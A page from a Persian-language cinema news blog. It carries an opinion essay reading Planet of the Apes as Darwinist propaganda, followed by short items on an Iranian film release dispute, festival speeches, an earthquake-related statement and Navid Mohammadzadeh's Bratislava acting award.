سیاره میمون‌ها (Planet of the Apes) را می توان نمودی بارز از تصویر سازی صنعت سینمای غرب به منظور حقنه ی ایمان به وجود آیات مادی معرفی نمود؛ اثری سینمایی به کارگردانی فرانکلین جی شافنر (Franklin J. Schaffner) که در سال ۱۹۶۸ میلادی تولید شد و توانست جایزه اسکار افتخاری (Academy Honorary Award) را در چهل و یکمین دوره از آن خود نماید.





سیاره میمون‌ها (Planet of the Apes) از جمله نخستین محصولات هالیوود است که به صورت صریح اقدام به خلق تصویری از انگارهای چارلز داروین (Charles Darwin) و خوانش بدون پوشش و واسطه ی داروینیسم (Darwinism) بر پرده ی نقره ای سینما می نماید؛ اثری سینمایی از میسیونرزاده ای آمریکایی تبار که در کلان‌شهر توکیوی ژاپن به دنیا آمد و با این ساخت، سال های پایانی عمر خود را در مقام رئیس انجمن کارگردانان آمریکا (Directors Guild of America (DGA)) سپری نمود.





سیاره میمون‌ها (Planet of the Apes) ماجرا یک گروه تحقیقات فضایی است که در سال ۳۹۷۸ میلادی به فضا فرستاده می شوند؛ گروهی که پس از گمشدنی طولانی در فضا، سرانجام در سیاره‌ای ناشناخته فرود می‌آیند؛ سیاره ای که تحت تسلط میمون ها می باشد و در آن انسان‌های بدوی، مبتنی بر نظریات مطرح در انگارهای داروینیسم، با شکل و شمایلی عجیب زیست می نمایند؛ انسان های آغازینی که نمی‌توانند همچون آدمیان تکلم نمایند و این در حالی است که در این سیاره میمون ها متمدن بوده و می‌توانند همانند انسان‌ها صحبت کنند.





سیاره میمون‌ها (Planet of the Apes) در ادامه روایت خود گروه تحقیقات فضایی را اسیر همین میمون های متمدن نشان می دهد و سرانجام با رهایی دادن ایشان از بَند میمون های هوشمند و روبرو ساختن آنها با مجسمه و تندیس معرف آزادی (Statue of Liberty) مدفون شده و دست بیرون زده از زیر خاک این مجسمه، که نام رسمی آن آزادی روشنگر جهان (Liberty Enlightening the World) است و… مخاطبان خود را با این حقیقت بزرگ و واقعیت تاثیرگذار و تکان دهنده مواجه می سازد که همانا این سیاره همان کره ی زمین است و گروه تحقیقات فضایی پس از زمانی طولانی مجدداً به کره زمین بازگشته اند؛ کره ای که به تسخیر میمون هایی درآمده که مبتنی بر انگاره های داروینیسم، پس از  میلیون ها سال، مجدداً تکامل یافته و فرگشت پیدا کرده اند.





البته فیلم سینمایی سیاره میمون‌ها (Planet of the Apes) برداشتی سینمایی از کتاب سیاره میمون‌ها (با عنوان فرانسوی La Planète des Singes) است که در سال ۱۹۶۳ میلادی توسط نویسنده ای فرانسوی با نام پیر بول (Pierre Boulle) به نگارش درآمد و سعی نمود تا حلقه مفقوده ای را که چارلز داروین نتوانسته بود به آن وجاهتی علمی ببخشد، در عالم هنر و با خلق متنی روایتگر و رُمان و داستانی بلند، در قالب نثر معنی داده و طی این کتاب ضمن حقنه ی ایمان به وجود آیات مادی، مخاطبان خود را با این تصویر مواجه سازد که انگارهای داروینیسم واقعیتی جاری و حقیقت پیدایش و ماجرای تکامل یافتگی و فرگشت در عالم هستی است.





کتاب سیاره میمون‌ها (Planet of the Apes) تا به امروز الهام بخش آثار متعددی در سینمای هالیوود بوده که در این میان به غیر از فیلم سیاره میمون‌ها (Planet of the Apes) که در مدت زمان کوتاهی پس از انتشار این کتاب، روایتی سینمایی از آن را ارایه داد؛ می توان به چهار اثر سینمایی دیگر با عنوان سیاره میمون‌ها (Planet of the Apes) به کارگردانی تیم برتون (Tim Burton) و ظهور سیاره میمون‌ها (Rise of the Planet of the Apes) به کارگردانی روپرت ویات (Rupert Wyatt) و طلوع سیاره میمون‌ها (Dawn of the Planet of the Apes) و جنگ برای سیاره میمون‌ها (War for the Planet of the Apes) به کارگردانی مت ریوز (Matt Reeves) نیز اشاره نمود که در سال های اخیر، به صورت مستقیم روایت این کتاب را مرجع فیلم نامه و تولید اثر سینمایی قرار داده اند.






ادامه دارد…

  • تاریخ : ۲۵ام آبان ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: پیمان جعفری تهیه کننده فیلم انزوا از نحوه رونمایی انتقاد کرد و گفت: علت اصلی بروز این اتفاقات بد در رونمایی، شورای صنفی نمایش است که سیاست‌گذاری درستی ندارد.

به گزارش دریافت فیلم پیمان جعفری درمورد رونمایی نامناسب فیلم «انزوا» اعتراض کرد و گفت: اکنون زمان مساعدی برای رونمایی فیلم سینمایی «انزوا» و هیچ فیلم دیگری نیست. از سویی تعطیلاتی که داشتیم و پیش رو داریم نیز مزید بر علت شده تا به فروش و جذب مخاطب خوبی دست پیدا نکنیم.

وی افزود: البته گرفتن زمان رونمایی در همین مقطع نیز غنیمت بود و گرنه باید تا بهمن و اسفند صبر می‌کردیم و آن موقع هم مشخص نبود چه اتفاقی خواهد افتاد و نمی‌شد ریسک کرد.

این تهیه‌کننده ادامه داد: علت اصلی بروز این اتفاقات بد در رونمایی، شورای صنفی نمایش است که سیاست‌گذاری درستی ندارد. به نظرم وزارت ارشاد باید جهت رفع این مشکل بزرگ و اساسی وارد عمل شود و از زمان صدور پروانه ساخت، موعد رونمایی فیلم را مقرر کند در این صورت تکلیف ما مشخص می‌شود و می‌توان برنامه‌ریزی کرد و متناسب با زمان و شرایط تعیین شده فیلم ساخت. با این تفاسیر سرمایه‌مان معلق و بی هدف نمی‌ماند و از ضرر همه جانبه جلوگیری می‌شود. اگر وضعیت رونمایی بدین شکل پیش برود به بازکردن سوپر مارکت می‌رسیم. در کل باعث تأسف است که عده‌ای سینما را به این حال و روز انداخته‌اند.

  • تاریخ : ۲۴ام آبان ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: ابراهیم داروغه زاده معاون نظارت و ارزشیابی سازمان سینمایی و دبیر سی و ششمین جشنواره فیلم فجر با نگارش یادداشتی به سو استفاده های سیاسی برخی از مسئولین و افراد در خصوص زلزله کرمانشاه واکنش نشان داد.

به گزارش دریافت فیلم، متن یادداشت داروغه زاده را بخوانید:

این عزیزانی که در فضای إحساسی پس از زلزله به شکل غیر منصفانه ای مسکن مهر و سازندگان آن را مورد انتقاد قرار میدهند توجه داشته باشند که:

١- زلزله در مسکن مهر کمترین میزان تلفات انسانی را داشته است ( دو نفر)

٢- از تصاویر مشخص است که سقف ها و ستون های این ساختمان ها توانسته زلزله بیش از هفت ریشتری را تحمل کند و فقط دیوار ها آسیب دیده که به نظر قابل قبول است.

٣- این عزیزانی که در مسکن مهر ساکن هستند قبل از آن حتما در خانه های بسیار ناامن تر ساکن بوده اند و اگر این پروژه ها نبودند الان میزان کشته ها و زخمی ها چندین برایر بودند. (همانند زلزله بم و رودبار و …)

٤- بهتر است به جای نفرین بر تاریکی شمعی روشن کنیم. شماره حساب های هلال احمر برای کمک به اسیب دیدگان در اختیار همه ما هست، کمک های خود را به این حساب واریز و برای تبلیغ و همه گانی  شدن این کارخیر  فیش ان را در فضای مجازی منتشر کنیم.

  • تاریخ : ۲۴ام آبان ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: به گفته رئیس حوزه هنری؛ خیلی از جشنواره‌ها هنرمند پیش از آن که مصلحت‌های انسانی و حقیقت را در نظر داشته باشد، نگاهش به سلیقه داوران و سیاست‌گذاران آن جشنواره‌ها باشد.

به گزارش دریافت فیلم رئیس حوزه هنری در اختتامیه سوگواره بین‌المللی هنر عاشورایی(دوره یازدهم)، گفت: دربسیاری از جشنواره های هنری افراد از مردم خودمان دور می‌شوند و این هم نوعی شریک قرار دادن برای هنرمندان است.

وی افزود: خوشبختانه هنرمندان متعهد کشورمان این گونه نیستند. هنرمند متعهد بنا بر گفته قرآن کریم به بن بست نمی‌رسد. البته دو شرط دارد. کسی که دنبال ملاقات پروردگار است باید عمل صالح انجام دهد و عمل صالح دوستان هنرمند همین آثار است که مخاطبان را به یاد خدا می‌اندازند. شرط دیگر این است که در عبادت خدا، شریکی قرار ندهند.

وی با اشاره به شخصیت برجسته کاظم چلیپا، هنرمند نقاش و تصویرگر که در این مراسم از او تجلیل شد، اظهار کرد: در ۳۰ سالی که توفیق شد در حوزه هنری با آقای چلیپا آشنا و از نزدیک همکار شویم؛ ایشان را شخصیتی دغدغه‌مند، صریح و صادق دیدم. آقای چلیپا برای خود اصولی دارند و گذر حوادث و اتفاقات اصوال ایشان را تغییر نداده و پا بر جا بود است. ایشان به عنوان یکی از رکن‌های هنر انقلاب اسلامی مطرح است.

رئیس حوزه هنری بیان کرد: چلیپا همیشه دغدغه آموزش داشته است و صحبت کردن با ایشان بسیار راحت است. آدم با ایشان که صحبت می‌کند، احساس آرامش پیدا می‌کند و خیالش راحت است که غل و غشی ندارند. همیشه جوان ترها را تشویق و کمک می‌کنند و به آینده خوشبین هستند.

مومنی شریف با بیان خاطره‌ای درباره دیدار هنرمندان تجسمی با رهبر معظم انقلاب اسلامی، گفت: حضرت آقا در آن دیدار چند بار از آقای چلیپا یاد کردند و حال ایشان را پرسیدند و فرمودند که در ابتدای پیروزی انقلاب اسلامی در زمینه‌های هنر تجسمی کسی را نداشتیم و تنها چند نفر از جمله آقای چلیپا و حبیب الله صادقی و چند هنرمند دیگر بودند و در جبهه مقابل، هنرمندان بسیاری حضور داشتند. بنابر همین گفته‌های رهبر انقلاب، معتقدم حق اساتیدی مانند چلیپا بسیار عظیم است و در جلسات دیگر باید به شکل بهتری ادا شود و ان‌شاء‌الله کتاب آثار ایشان نیز به شکل نفیسی منتشر شود.

** هنر عاشورایی جانمایه اصلی هنر در تمام رشته هاست

در بخش دیگری از آیین فاضل نظری، معاون هنری حوزه هنری و دبیر سوگواره عاشورایی نیز، گفت: این سوگواره نسبت به سال‌های گذشته گسترده‌تر برگزار شد. هنر عاشورایی شعله و جانمایه اصلی هنر در تمام رشته‌ها است، آن چه امروز باعث می‌شود خدا به انسان افتخار کند، رشادت‌هایی است که در عاشورا اتفاق افتاده است.

نظری با اشاره به زلزله تلخ اخیر بیان کرد: اگر در کشور اتفاقی بیافتد، همه مردم رنجور می‌شوند. مثل حالا که هموطن‌هایمان درگیر زلزله شده‌اند و بسیاری از آن‌ها را دست داده‌ایم و تمام کشور برای آنها در سوگ نشسته‌اند.

  • تاریخ : ۲۴ام آبان ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: نوید محمدزاده برای فیلم «بدون تاریخ، بدون امضاء» برنده جایزه بهترین بازیگر جشنواره «براتیسلاوا» شد و این جایزه را به مردم زلزله‌زده غرب کشور تقدیم کرد.

به گزارش دریافت فیلم، نوزدهمین دوره جشنواره بین‌المللی فیلم «براتیسلاوا» در کشور اسلواکی برندگان خود را اعلام کرد و نوید محمدزاده برای بازی در فیلم «بدون تاریخ، بدون امضاء» موفق به کسب جایزه بهترین بازیگر مرد این رویداد سینمایی شد.

محمدزاده در پیامی ویدئویی ضمن تشکر از برگزارکنندگان جشنواره فیلم «براتیسلاوا» که برای دومین بار او را به عنوان برنده جایزه بهترین بازیگر مرد این رویداد سینمایی معرفی می‌کنند، جایزه‌اش را به بازماندگان زلزله۷.۳ ریشتری در کرمانشاه تقدیم کرد.

وی پیش از این برای بازی در این فیلم، جایزه بهترین بازیگر مرد بخش افق‌های هفتادوچهارمین جشنواره فیلم ونیز را نیز دریافت کرده بود.

گفتنی است؛ «بدون تاریخ، بدون امضاء» به کارگردانی وحید جلیلوند و به تهیه‌کنندگی علی جلیلوند نماینده سینمای ایران در بخش رقابتی فیلم‌های داستانی جشنواره «براتیسلاوا» بود. علاوه بر آن دو فیلم «ناپدید شدن» از علی عسگری و فیلم کوتاه «روتوش» ساخته کاوه مظاهری نیز در این جشنواره روی پرده رفتند.

نوزدهمین جشنواره بین‌المللی فیلم «براتیسلاوا» از تاریخ ۹ تا ۱۶ نوامبر (۱۸ تا ۲۵ آبان) در کشور اسلواکی برگزار می‌شود.

  • تاریخ : ۲۴ام آبان ۱۳۹۶
  • موضوع : فیلم

دریافت فیلم: «مهدی زمانپور کیاسری» با آخرین اثر مستندش «راه دل» که به پیاده‌روی اربعین «مشتی اسماعیل» کاراکتر فیلم سابقش می‌پردازد، در بخش مسابقه ملی یازدهمین دوره جشنواره بین‌المللی سینماحقیقت حضور دارد.

به گزارش دریافت فیلم، در چکیده ماجرا این فیلم ۳۰ دقیقه‌ای که محصول مرکز مستند سوره است، آمده: «مشتی اسماعیل پیرمرد کشاورز نابینا بر سر دوراهی عمل چشم و بینا شدن و رفتن به سفر پیاده‌روی اربعین که با زمان عمل چشم مقارن شده، قرار گرفته است. او برخلاف همسرش که اصرار دارد چشمش را عمل کند، با دوست و همراه همیشگی‌اش نصیر، پای در سفر پیاده‌روی اربعین می‌گذارد. مشتی اسماعیل در این سفر رفته‌رفته چشم دل باز می‌کند و نصیر پای در راه دل می‌گذارد تا این سفر روحانی، تاثیری بر آینده هر دو آنها بگذارد…»

عوامل تولید مستند «راه دل» عبارتند از: پژوهشگر و کارگردان: مهدی زمانپور کیاسری؛ فیلمبردار: سیدحسن سیدی‌پریشان؛ صدابردار: سیدمحمدصادق قاهری؛ صداگذار: حسن مهدوی؛ تدوینگر: حسین نیکزاد؛ مدیر تولید: اسد الاسدی؛ دستیار کارگردان و عکاس: اکبر روح؛ تهیه‌کنندگان: سمیه زراعت‌کار و مهدی زمانپور کیاسری؛ تهیه شده در: مرکز مستند سوره

مهدی زمانپور کیاسری متولد سال ۱۳۵۳ در کیاسر و دارای مدرک کارشناسی ارشد کارگردانی از دانشکده صداوسیما است. وی با مستند تحسین‌شده‌ی «مشتی اسماعیل» ضمن حضور در بخش رسمی ده‌ها جشنواره ملی و بین‌المللی، موفق به دریافت سیمرغ بلورین کارگردانی فجر، جایزه بهترین فیلم جشنواره ویزیون دورئل سوییس و جشنواره بین‌المللی سینماحقیقت شده است.

*مرکز گسترش سینمای مستند و تجربی سازمان امور سینمایی، یازدهمین دوره جشنواره بین‌المللی فیلم مستند ایران «سینماحقیقت» را طی روزهای ۱۹ تا ۲۶ آذرماه ۱۳۹۶، با شعار «حقیقت بهترین راهنماست» که از فرمایشات حضرت علی(ع) است، در شهر تهران برگزار خواهد کرد.

صفحه 30 از 234
»...1020 قبلی 26272829303132333435 بعدی 405060...«